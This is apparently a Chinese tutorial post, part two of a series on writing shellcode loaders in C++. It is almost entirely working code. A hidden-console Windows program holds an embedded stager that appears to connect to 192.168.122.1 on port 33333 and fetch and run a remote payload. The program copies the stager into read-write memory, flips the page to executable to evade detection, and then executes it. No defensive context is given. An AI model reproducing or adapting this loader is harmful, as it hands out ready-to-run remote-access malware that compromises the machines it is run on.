C++之加载器编写（二）

#include <Windows.h>
#include <stdio.h>
using namespace std;

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") 

int main(int argc, char **argv) {
	DWORD dwOldProtect; //自己定义个内存的属性页
	char ShellCode[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
		"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
		"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
		"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x50\x01\xd3"
		"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
		"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
		"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
		"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
		"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
		"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
		"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7a\x01\x68\x02"
		"\x00\x82\x35\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
		"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
		"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
		"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
		"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
		"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
		"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
		"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
		"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
		"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
		"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
	void *exec = VirtualAlloc(NULL, sizeof ShellCode, MEM_COMMIT, PAGE_READWRITE);//这里只申请可以读写的属性
	//memcpy(exec, ShellCode, sizeof ShellCode);
	CopyMemory(exec, ShellCode, sizeof ShellCode);//copy入可读写的内存页中
	VirtualProtect(exec, sizeof ShellCode, PAGE_EXECUTE, &dwOldProtect);//修改属性为可执行

	Sleep(3000);

	((void(*)())exec)();
	return 0;
}